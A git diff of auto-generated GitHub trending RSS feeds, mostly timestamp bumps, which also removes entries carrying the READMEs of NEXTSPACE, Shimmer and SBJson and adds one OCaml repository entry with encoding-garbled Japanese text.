index 833b029c347..79c101a9b80 100644
--- a/nl/daily/index.xml
+++ b/nl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:14Z
+ 2024-01-04T01:35:04ZDaily Trending of NL in GitHub
\ No newline at end of file
diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml
index 43d97371385..ee44847af54 100644
--- a/npm-config/daily/index.xml
+++ b/npm-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NPM Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:15Z
+ 2024-01-04T01:35:04ZDaily Trending of NPM Config in GitHub
\ No newline at end of file
diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml
index cc25dacb146..5cad9a944a9 100644
--- a/nsis/daily/index.xml
+++ b/nsis/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NSIS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:16Z
+ 2024-01-04T01:35:05ZDaily Trending of NSIS in GitHub
\ No newline at end of file
diff --git a/nu/daily/index.xml b/nu/daily/index.xml
index ae80d384859..c46dbca25b0 100644
--- a/nu/daily/index.xml
+++ b/nu/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nu Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:19Z
+ 2024-01-04T01:35:09ZDaily Trending of Nu in GitHub
\ No newline at end of file
diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml
index 4b5c4144431..5db52b5102e 100644
--- a/numpy/daily/index.xml
+++ b/numpy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NumPy Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:21Z
+ 2024-01-04T01:35:10ZDaily Trending of NumPy in GitHub
\ No newline at end of file
diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml
index 6110ecb5667..21e34eaa83a 100644
--- a/nunjucks/daily/index.xml
+++ b/nunjucks/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nunjucks Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:20Z
+ 2024-01-04T01:35:08ZDaily Trending of Nunjucks in GitHub
\ No newline at end of file
diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml
index a5b996312b9..c6ee9345ccd 100644
--- a/nwscript/daily/index.xml
+++ b/nwscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NWScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:24Z
+ 2024-01-04T01:35:12ZDaily Trending of NWScript in GitHub
\ No newline at end of file
diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml
index d4cfd46f899..aed809cc3c2 100644
--- a/objdump/daily/index.xml
+++ b/objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ObjDump Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:26Z
+ 2024-01-04T01:35:15ZDaily Trending of ObjDump in GitHub
\ No newline at end of file
diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml
index 37a95ea3d45..6de2ae93074 100644
--- a/object-data-instance-notation/daily/index.xml
+++ b/object-data-instance-notation/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Object Data Instance Notation Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:27Z
+ 2024-01-04T01:35:16ZDaily Trending of Object Data Instance Notation in GitHub
\ No newline at end of file
diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml
index 75f9d42d66d..311bdcf6591 100644
--- a/objective-c++/daily/index.xml
+++ b/objective-c++/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Objective-C++ Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:35Z
+ 2024-01-04T01:35:29ZDaily Trending of Objective-C++ in GitHub
\ No newline at end of file
diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml
index af1f3c393a2..7eb984c4365 100644
--- a/objective-c/daily/index.xml
+++ b/objective-c/daily/index.xml
@@ -1,28 +1,7 @@
GitHub Objective-C Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:30Z
+ 2024-01-04T01:35:19ZDaily Trending of Objective-C in GitHub
-
- trunkmaster/nextspace
- 2024-01-03T01:34:30Z
- tag:github.com,2024-01-03:/trunkmaster/nextspace
-
- <p>NeXTSTEP-like desktop environment for Linux</p><hr><h1>NEXTSPACE</h1>
<p><a href="https://app.circleci.com/pipelines/github/trunkmaster/nextspace/"><img src="https://circleci.com/gh/trunkmaster/nextspace.svg?style=svg" alt="trunkmaster"></a></p>
<p>NEXTSPACE is a desktop environment that brings a <a href="https://en.wikipedia.org/wiki/NeXTSTEP">NeXTSTEP</a> look and feel to Linux. I try to keep the user experience as close as possible to the original NeXT OS. It is developed according to the <a href="http://www.gnustep.org/resources/documentation/OpenStepUserInterfaceGuidelines.pdf">"OpenStep User Interface Guidelines"</a>.</p>
<blockquote>
<p>An explanation of the NeXTSTEP / NextStep naming convention is discussed in further detail <a href="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/OpenStep%20Confusion.md">here</a>.</p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/NEXTSPACE_Screenshot.png" alt="NEXTSPACE example"></p>
<p>I want to create a fast, elegant, reliable, and easy to use desktop environment with maximum attention to user experience (usability) and visual maturity. I would like it to become a platform where applications will be running with a taste of NeXT's OS. Core applications such as Login, Workspace, and Preferences are the base for future application development and examples of visual style and application integration methods.</p>
<p>NEXTSPACE is not just a set of applications tightly integrated to each other. It is a core OS with frameworks, mouse cursors, fonts, colors, animations, and everything I think will help users to be effective and happy.</p>
<h2>Why?</h2>
<ol>
<li>I like the look, feel, and design principles of NeXTSTEP.</li>
<li>I believe it will become an interesting environment for developers and comfortable (fast, easy to use, feature-rich) for users.</li>
</ol>
<p>Unlike other 'real' and 'serious' projects, I have not yet defined a target audience for NEXTSPACE. I intentionally left aside modern UI design trends (fancy animations, shadows, gray blurry lines, flat controls, acid colors, transparency). I like the accurate, clear, grayish, and "boring" UI that helps, not hinder, to get my job done.</p>
<h2>Not planned</h2>
<ul>
<li>Porting to other Linux distributions and operating systems. For now, I want a fast, accurate, and stable version for RedHat-based Linux distributions. Currently these are CentOS 7, CentOS Stream and Fedora. However, NEXTSPACE was designed to be portable and thus this point may be changed in future.</li>
<li>GNOME, KDE, macOS rival in terms of visual effects, modern design principles, look and feel.</li>
<li>Implementing a macOS-like desktop paradigm. There is another good place for this -- see <a href="http://etoileos.com">รtoilรฉ</a>.</li>
</ul>
<h2>Installing</h2>
<p>Installation is based off CentOS 7's minimal install, you can find <a href="https://github.com/trunkmaster/nextspace/wiki/Install-Guide">full directions in the installation guide</a>.</p>
<h2>Applications</h2>
<p>Below is a brief description of core applications. More information about application functionality will be added in the future.</p>
<h3>Login</h3>
<p><a href="https://github.com/trunkmaster/nextspace/projects/6">Status of implementation</a></p>
<p>A simple login panel where you enter your user name and password. No screenshot - it's an exact copy of NeXTSTEP's <code>loginwindow</code> in terms of look and feel.</p>
<h3>Workspace</h3>
<p><a href="https://github.com/trunkmaster/nextspace/projects/4">Status of implementation</a></p>
<p>A fast and elegant Workspace Manager using multithreading to provide maximum smoothness for:</p>
<ul>
<li>File system navigation, file management (create, copy, move, link files/directories).</li>
<li>Seamless application, process, and window management (start, autostart, close, resize, move, maximize, miniaturize, hide).</li>
<li>macOS-style window resizing: the cursor stops moving when the maximum/minimum size of a window has been reached, and the cursor changes its image to give a hint for available directions.</li>
<li>Virtual desktops, Dock, applications and window icons.</li>
<li>Media management - automatically mounting removable media, providing menu items to eject/mount/unmount removables.</li>
<li>Background processes - all file and media management operations have status indicators with controls (stop, pause, cancel).</li>
<li>Launcher - a panel to run commands with autocompletion and history.</li>
<li>Recycler - support for drag-and-drop and the ability to restore recycled objects to their original location with a single click.</li>
<li>Other: inspectors for various types of contents, finder, console messages and preferences for various parts of Workspace.</li>
</ul>
<blockquote>
<p>Note: Workspace is NOT:</p>
<ul>
<li>WindowMaker with some patches</li>
<li>WindowMaker with some good configuration defaults only</li>
<li>Another implementation of WindowMaker.</li>
</ul>
<p>Workspace is written from scratch. Some WindowMaker code is a part of Workspace (as well as configuration defaults) to provide window management functions. The code is tightly coupled with Workspace to provide seamless intergation. Configurable parameters of the integrated WindowMaker are spread across Workspace's Preferences and Preferences application.</p>
</blockquote>
<p><img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Workspace.png" alt="Workspace"></p>
<h3>Preferences</h3>
<p><a href="https://github.com/trunkmaster/nextspace/projects/2">Status of implementation</a></p>
<p>Settings for locale, fonts, displays (size, brightness, contrast (gamma correction), desktop background, displays arrangement), keyboard (repeat, layouts, numpad behaviour, modifiers), mouse (delay, threshold, scrollwheel settings, mouse buttons configutation), sound, network, power management.</p>
<p><img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Preferences-Display.png" alt="Display"> <img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Preferences-Screen.png" alt="Screen"> <img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Preferences-Mouse.png" alt="Mouse"> <img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Preferences-Keyboard.png" alt="Keypard"></p>
<h3>Terminal</h3>
<p><a href="https://github.com/trunkmaster/nextspace/projects/3">Status of implementation</a></p>
<p>A terminal with Linux console emulation. I've started with the version created by Alexander Malmberg and made numerous fixes and enhancements. The original application can be found on the <a href="http://www.nongnu.org/gap/terminal/index.html">GNUstep Application Project</a> site. Enhancements to the original application are numerous. Some of them are as follows:</p>
<ul>
<li>Preferences and Services panels rewritten from scratch.</li>
<li>Numerous fixes and enhancements in: color management (background/foreground elements can be set to any color), cursor placement fixes on scrolling and window resizing, and the addition of 'Clear Buffer' and 'Set Title' menu items.</li>
<li>Search through the text displayed in the terminal window (Find panel).</li>
<li>Session management: you can save a window with all its settings that are set in the preferences panel (including any running shells/commands) to a file and then open it. Configuration with multiple windows is supported.</li>
</ul>
<p><img src="https://raw.githubusercontent.com/trunkmaster/nextspace/master/Documentation/Terminals.png" alt="Terminals"></p>
<h2>For developers</h2>
<p>For those who are eager to know "How it's done?" can find information on development tasks, goals, solutions, implementation details, and build instructions on the <a href="https://github.com/trunkmaster/nextspace/wiki">Wiki</a>.</p>
-
-
- facebookarchive/Shimmer
- 2024-01-03T01:34:30Z
- tag:github.com,2024-01-03:/facebookarchive/Shimmer
-
- <p>An easy way to add a simple, shimmering effect to any view in an iOS app.</p><hr><h1>Shimmer</h1>
<p>Shimmer is an easy way to add a shimmering effect to any view in your app. It's useful as an unobtrusive loading indicator.</p>
<p>Shimmer was originally developed to show loading status in <a href="http://facebook.com/paper">Paper</a>.</p>
<p><img src="https://github.com/facebook/Shimmer/raw/master/shimmer.gif?raw=true" alt="Shimmer"></p>
<h2>Usage</h2>
<p>To use Shimmer, create a <code>FBShimmeringView</code> or <code>FBShimmeringLayer</code> and add your content. To start shimmering, set the <code>shimmering</code> property to <code>YES</code>.</p>
<p>An example of making a label shimmer:</p>
<pre><code class="language-objective-c">FBShimmeringView *shimmeringView = [[FBShimmeringView alloc] initWithFrame:self.view.bounds];
[self.view addSubview:shimmeringView];
UILabel *loadingLabel = [[UILabel alloc] initWithFrame:shimmeringView.bounds];
loadingLabel.textAlignment = NSTextAlignmentCenter;
loadingLabel.text = NSLocalizedString(@"Shimmer", nil);
shimmeringView.contentView = loadingLabel;
// Start shimmering.
shimmeringView.shimmering = YES;
</code></pre>
<p>There's also an example project. In the example, you can swipe horizontally and vertically to try various shimmering parameters, or tap to start or stop shimmering. (To build the example locally, you'll need to open <code>FBShimmering.xcworkpace</code> rather than the <code>.xcodeproj</code>.)</p>
<h2>Installation</h2>
<p>There are two options:</p>
<ol>
<li>Shimmer is available as <code>Shimmer</code> in <a href="http://cocoapods.org">Cocoapods</a>.</li>
<li>Manually add the files into your Xcode project. Slightly simpler, but updates are also manual.</li>
</ol>
<p>Shimmer requires iOS 6 or later.</p>
<h2>How it works</h2>
<p>Shimmer uses the <code>-[CALayer mask]</code> property to enable shimmering, similar to what's described in John Harper's 2009 WWDC talk (unfortunately no longer online). Shimmer uses CoreAnimation's timing features to smoothly transition "on-beat" when starting and stopping the shimmer.</p>
<h2>Other Platforms</h2>
<p>We have a version of Shimmer for Android, too! It's <a href="https://github.com/facebook/shimmer-android">also available on GitHub</a>.</p>
<h2>Contributing</h2>
<p>See the CONTRIBUTING file for how to help out.</p>
<h2>License</h2>
<p>Shimmer is BSD-licensed.</p>
-
-
- SBJson/SBJson
- 2024-01-03T01:34:30Z
- tag:github.com,2024-01-03:/SBJson/SBJson
-
- <p>This framework implements a strict JSON parser and generator in Objective-C.</p><hr><h1>SBJson 5</h1>
<p>Chunk-based JSON parsing and generation in Objective-C.</p>
<p><a href="https://circleci.com/gh/SBJson/SBJson"><img src="https://circleci.com/gh/SBJson/SBJson.svg?style=svg" alt="CircleCI"></a> <a href="http://www.repostatus.org/#inactive"><img src="http://www.repostatus.org/badges/0.1.0/inactive.svg?sanitize=true" alt="Project Status: Inactive - The project has reached a stable, usable state but is no longer being actively developed; support/maintenance will be provided as time allows."></a> <a href="https://github.com/Carthage/Carthage"><img src="https://img.shields.io/badge/Carthage-compatible-4BC51D.svg?style=flat" alt="Carthage compatible"></a></p>
<h1>Overview</h1>
<p>SBJson's number one feature is stream/chunk-based operation. Feed the parser one or more chunks of UTF8-encoded data and it will call a block you provide with each root-level document or array. Or, optionally, for each top-level entry in each root-level array.</p>
<p>With this you can reduce the apparent latency for each download/parse cycle of documents over a slow connection. You can start parsing <em>and return chunks of the parsed document</em> before the full document has downloaded. You can also parse massive documents bit by bit so you don't have to keep them all in memory.</p>
<p>SBJson maps JSON types to Objective-C types in the following way:</p>
<table>
<thead>
<tr>
<th>JSON Type</th>
<th>Objective-C Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>null</td>
<td>NSNull</td>
</tr>
<tr>
<td>string</td>
<td>NSString</td>
</tr>
<tr>
<td>array</td>
<td>NSMutableArray</td>
</tr>
<tr>
<td>object</td>
<td>NSMutableDictionary</td>
</tr>
<tr>
<td>true</td>
<td>-[NSNumber numberWithBool: YES]</td>
</tr>
<tr>
<td>false</td>
<td>-[NSNumber numberWithBool: NO]</td>
</tr>
<tr>
<td>number</td>
<td>NSNumber</td>
</tr>
</tbody>
</table>
<ul>
<li>Booleans roundtrip properly even though Objective-C doesn't have a dedicated class for boolean values.</li>
<li>Integers use either <code>long long</code> or <code>unsigned long long</code> if they fit, to avoid rounding errors. For all other numbers we use the <code>double</code> type, with all the potential rounding errors that entails.</li>
</ul>
<h2>"Plain" Chunk Based Parsing</h2>
<p>First define a simple block & an error handler. (These are just minimal examples. You should strive to do something better that makes sense in your application!)</p>
<pre><code class="language-objc">SBJson5ValueBlock block = ^(id v, BOOL *stop) {
BOOL isArray = [v isKindOfClass:[NSArray class]];
NSLog(@"Found: %@", isArray ? @"Array" : @"Object");
};
SBJson5ErrorBlock eh = ^(NSError* err) {
NSLog(@"OOPS: %@", err);
exit(1);
};
</code></pre>
<p>Then create a parser and add data to it:</p>
<pre><code class="language-objc">id parser = [SBJson5Parser parserWithBlock:block
errorHandler:eh];
id data = [@"[true," dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data]; // returns SBJson5ParserWaitingForData
// block is not called yet...
// ok, now we add another value and close the array
data = [@"false]" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data]; // returns SBJson5ParserComplete
// the above -parse: method calls your block before returning.
</code></pre>
<p>Alright! Now let's look at something slightly more interesting.</p>
<h2>Handling multiple documents</h2>
<p>This is useful for something like Twitter's feed, which gives you one JSON document per line. Here is an example of parsing many consequtive JSON documents, where your block will be called once for each document:</p>
<pre><code class="language-objc">id parser = [SBJson5Parser multiRootParserWithBlock:block
errorHandler:eh];
// Note that this input contains multiple top-level JSON documents
id data = [@"[]{}" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data];
[parser parse:data];
</code></pre>
<p>The above example will print:</p>
<pre><code>Found: Array
Found: Object
Found: Array
Found: Object
</code></pre>
<h2>Unwrapping a gigantic top-level array</h2>
<p>Often you won't have control over the input you're parsing, so can't use a multiRootParser. But, all is not lost: if you are parsing a long array you can get the same effect by using an unwrapRootArrayParser:</p>
<pre><code class="language-objc">id parser = [SBJson5Parser unwrapRootArrayParserWithBlock:block
errorHandler:eh];
// Note that this input contains A SINGLE top-level document
id data = [@"[[],{},[],{}]" dataWithEncoding:NSUTF8StringEncoding];
[parser parse:data];
</code></pre>
<h2>Other features</h2>
<ul>
<li>For safety there is a max nesting level for all input. This defaults to 32, but is configurable.</li>
<li>The writer can sort dictionary keys so output is consistent across writes.</li>
<li>The writer can create human-readable output, with newlines and indents.</li>
<li>You can install SBJson v3, v4 and v5 side-by-side in the same application. (This is possible because all classes & public symbols contains the major version number.)</li>
</ul>
<h2>A word of warning</h2>
<p>Stream based parsing does mean that you lose some of the correctness verification you would have with a parser that considered the entire input before returning an answer. It is technically possible to have some parts of a document returned <em>as if they were correct</em> but then encounter an error in a later part of the document. You should keep this in mind when considering whether it would suit your application.</p>
<h1>American Fuzzy Lop</h1>
<p>I've run <a href="http://lcamtuf.coredump.cx/afl/">AFL</a> on the sbjson binary for over 24 hours, with no crashes found. (I cannot reproduce the hangs reported when attempting to parse them manually.)</p>
<pre><code> american fuzzy lop 2.35b (sbjson)
โโ process timing โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโ overall results โโโโโโ
โ run time : 1 days, 0 hrs, 45 min, 26 sec โ cycles done : 2 โ
โ last new path : 0 days, 0 hrs, 5 min, 24 sec โ total paths : 555 โ
โ last uniq crash : none seen yet โ uniq crashes : 0 โ
โ last uniq hang : 0 days, 2 hrs, 11 min, 43 sec โ uniq hangs : 19 โ
โโ cycle progress โโโโโโโโโโโโโโโโโโโโโฌโ map coverage โโดโโโโโโโโโโโโโโโโโโโโโโโโค
โ now processing : 250* (45.05%) โ map density : 0.70% / 1.77% โ
โ paths timed out : 0 (0.00%) โ count coverage : 3.40 bits/tuple โ
โโ stage progress โโโโโโโโโโโโโโโโโโโโโผโ findings in depth โโโโโโโโโโโโโโโโโโโโโค
โ now trying : auto extras (over) โ favored paths : 99 (17.84%) โ
โ stage execs : 603/35.6k (1.70%) โ new edges on : 116 (20.90%) โ
โ total execs : 20.4M โ total crashes : 0 (0 unique) โ
โ exec speed : 481.9/sec โ total hangs : 44 (19 unique) โ
โโ fuzzing strategy yields โโโโโโโโโโโโดโโโโโโโโโโโโโโโโฌโ path geometry โโโโโโโโโค
โ bit flips : 320/900k, 58/900k, 5/899k โ levels : 8 โ
โ byte flips : 0/112k, 4/112k, 3/112k โ pending : 385 โ
โ arithmetics : 66/6.24M, 0/412k, 0/35 โ pend fav : 1 โ
โ known ints : 5/544k, 0/3.08M, 0/4.93M โ own finds : 554 โ
โ dictionary : 0/0, 0/0, 29/1.83M โ imported : n/a โ
โ havoc : 64/300k, 0/0 โ stability : 100.00% โ
โ trim : 45.19%/56.5k, 0.00% โโโโโโโโโโโโโโโโโโโโโโโโโโ
^Cโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ [cpu: 74%]
+++ Testing aborted by user +++
[+] We're done here. Have a nice day!
</code></pre>
<h1>API Documentation</h1>
<p>Please see the <a href="http://cocoadocs.org/docsets/SBJson">API Documentation</a> for more details.</p>
<h1>Installation</h1>
<h2>CocoaPods</h2>
<p>The preferred way to use SBJson is by using <a href="http://cocoapods.org/?q=sbjson">CocoaPods</a>. In your Podfile use:</p>
<pre><code>pod 'SBJson', '~> 5.0.0'
</code></pre>
<h2>Carthage</h2>
<p>SBJson is compatible with <em>Carthage</em>. Follow the <a href="https://github.com/Carthage/Carthage#if-youre-building-for-ios-tvos-or-watchos">Getting Started Guide for iOS</a>.</p>
<pre><code>github "SBJson/SBJson" == 5.0.2
</code></pre>
<h2>Bundle the source files</h2>
<p>An alternative that I no longer recommend is to copy all the source files (the contents of the <code>Classes</code> folder) into your own Xcode project.</p>
<h1>Examples</h1>
<ul>
<li><a href="https://github.com/SBJson/ChunkedDelivery">https://github.com/SBJson/ChunkedDelivery</a> - a toy example showing how one can use <code>NSURLSessionDataDelegate</code> to do chunked delivery.</li>
<li><a href="https://github.com/SBJson/DisplayPretty">https://github.com/SBJson/DisplayPretty</a> - a very brief example using SBJson 4 to reflow JSON on OS X.</li>
</ul>
<h1>Support</h1>
<ul>
<li>Review (or create) StackOverflow questions <a href="http://stackoverflow.com/questions/tagged/sbjson">tagged with <code>SBJson</code></a> if you have questions about how to use the library.</li>
<li>Use the <a href="http://github.com/SBJson/SBJson/issues">issue tracker</a> if you have found a bug.</li>
<li>I regret I'm only able to support the current major release.</li>
</ul>
<h2>Philosophy on backwards compatibility</h2>
<p>SBJson practice <a href="https://semver.org/">Semantic Versioning</a>, which means we do not break the API in major releases. If something requires a backwards-incompatible change, we release a new major version. (Hence why a library of less than 1k lines has more major versions than Emacs.)</p>
<p>I also try support a gradual migration from one major version to the other by allowing the last three major versions to co-exist in the same app without conflicts. The way to do this is putting the major version number in all the library's symbols and file names. So if v6 ever comes out, the <code>SBJson5Parser</code> class would become <code>SBJson6Parser</code>, etc.</p>
<h1>License</h1>
<p>BSD. See <a href="https://raw.githubusercontent.com/SBJson/SBJson/trunk/LICENSE">LICENSE</a> for details.</p>
-
\ No newline at end of file
diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml
index b157dee597b..768119743a1 100644
--- a/objective-j/daily/index.xml
+++ b/objective-j/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Objective-J Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:36Z
+ 2024-01-04T01:35:26ZDaily Trending of Objective-J in GitHub
\ No newline at end of file
diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml
index 3047e4a65a8..f5891a0355d 100644
--- a/objectscript/daily/index.xml
+++ b/objectscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ObjectScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:36Z
+ 2024-01-04T01:35:27ZDaily Trending of ObjectScript in GitHub
\ No newline at end of file
diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml
index ad432003f46..feaa3de1013 100644
--- a/ocaml/daily/index.xml
+++ b/ocaml/daily/index.xml
@@ -1,7 +1,14 @@
GitHub OCaml Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:38Z
+ 2024-01-04T01:35:28ZDaily Trending of OCaml in GitHub
+
+ KitaitiMakoto/programming-basis
+ 2024-01-04T01:35:28Z
+ tag:github.com,2024-01-04:/KitaitiMakoto/programming-basis
+
+ <p>ๆต ไบๅฅไธใใใญใฐใฉใใณใฐใฎๅบ็คใใฎๅ้กใๅนพใคใ่งฃใใฆใฟใ</p><hr>
+
\ No newline at end of file
diff --git a/odin/daily/index.xml b/odin/daily/index.xml
index fe200270cc7..99ebf694fd6 100644
--- a/odin/daily/index.xml
+++ b/odin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Odin Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:41Z
+ 2024-01-04T01:35:30ZDaily Trending of Odin in GitHub
\ No newline at end of file
diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml
index d953e146838..a29b544d110 100644
--- a/omgrofl/daily/index.xml
+++ b/omgrofl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Omgrofl Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:40Z
+ 2024-01-04T01:35:33ZDaily Trending of Omgrofl in GitHub
\ No newline at end of file
diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml
index b1875c70f94..2a62e1c237e 100644
--- a/ooc/daily/index.xml
+++ b/ooc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ooc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:39Z
+ 2024-01-04T01:35:32ZDaily Trending of ooc in GitHub
\ No newline at end of file
diff --git a/opa/daily/index.xml b/opa/daily/index.xml
index ff764e869fb..39835c0ca42 100644
--- a/opa/daily/index.xml
+++ b/opa/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Opa Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:41Z
+ 2024-01-04T01:35:31ZDaily Trending of Opa in GitHub
\ No newline at end of file
diff --git a/opal/daily/index.xml b/opal/daily/index.xml
index 228cfc37599..5e20ea8b640 100644
--- a/opal/daily/index.xml
+++ b/opal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Opal Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:42Z
+ 2024-01-04T01:35:34ZDaily Trending of Opal in GitHub
\ No newline at end of file
diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml
index 6edb59ec61d..dde89e6b81f 100644
--- a/open-policy-agent/daily/index.xml
+++ b/open-policy-agent/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Open Policy Agent Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:45Z
+ 2024-01-04T01:35:36ZDaily Trending of Open Policy Agent in GitHub
\ No newline at end of file
diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml
index fda86b4a90d..bd0d286a480 100644
--- a/opencl/daily/index.xml
+++ b/opencl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenCL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:47Z
+ 2024-01-04T01:35:37ZDaily Trending of OpenCL in GitHub
\ No newline at end of file
diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml
index 3ffd6b91174..432e96af548 100644
--- a/openedge-abl/daily/index.xml
+++ b/openedge-abl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenEdge ABL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:48Z
+ 2024-01-04T01:35:37ZDaily Trending of OpenEdge ABL in GitHub
\ No newline at end of file
diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml
index f7d89bf8613..ae7876f2e00 100644
--- a/openqasm/daily/index.xml
+++ b/openqasm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenQASM Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:46Z
+ 2024-01-04T01:35:38ZDaily Trending of OpenQASM in GitHub
\ No newline at end of file
diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml
index 0ef7b424bf1..983a67949b2 100644
--- a/openrc-runscript/daily/index.xml
+++ b/openrc-runscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenRC runscript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:46Z
+ 2024-01-04T01:35:39ZDaily Trending of OpenRC runscript in GitHub
\ No newline at end of file
diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml
index ee86abbd010..66d7810abe1 100644
--- a/openscad/daily/index.xml
+++ b/openscad/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenSCAD Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:49Z
+ 2024-01-04T01:35:41ZDaily Trending of OpenSCAD in GitHub
\ No newline at end of file
diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml
index 3741c57ef6d..8ae101a9bf4 100644
--- a/openstep-property-list/daily/index.xml
+++ b/openstep-property-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenStep Property List Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:51Z
+ 2024-01-04T01:35:41ZDaily Trending of OpenStep Property List in GitHub
\ No newline at end of file
diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml
index f3f4f75cf57..5e031aa233a 100644
--- a/opentype-feature-file/daily/index.xml
+++ b/opentype-feature-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenType Feature File Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:50Z
+ 2024-01-04T01:35:42ZDaily Trending of OpenType Feature File in GitHub
\ No newline at end of file
diff --git a/org/daily/index.xml b/org/daily/index.xml
index 52bb3c8e997..362b4f44cfd 100644
--- a/org/daily/index.xml
+++ b/org/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Org Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:54Z
+ 2024-01-04T01:35:43ZDaily Trending of Org in GitHub
\ No newline at end of file
diff --git a/ox/daily/index.xml b/ox/daily/index.xml
index 2827ffc959a..a23c02fabed 100644
--- a/ox/daily/index.xml
+++ b/ox/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ox Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:34:55Z
+ 2024-01-04T01:35:44ZDaily Trending of Ox in GitHub
\ No newline at end of file
diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml
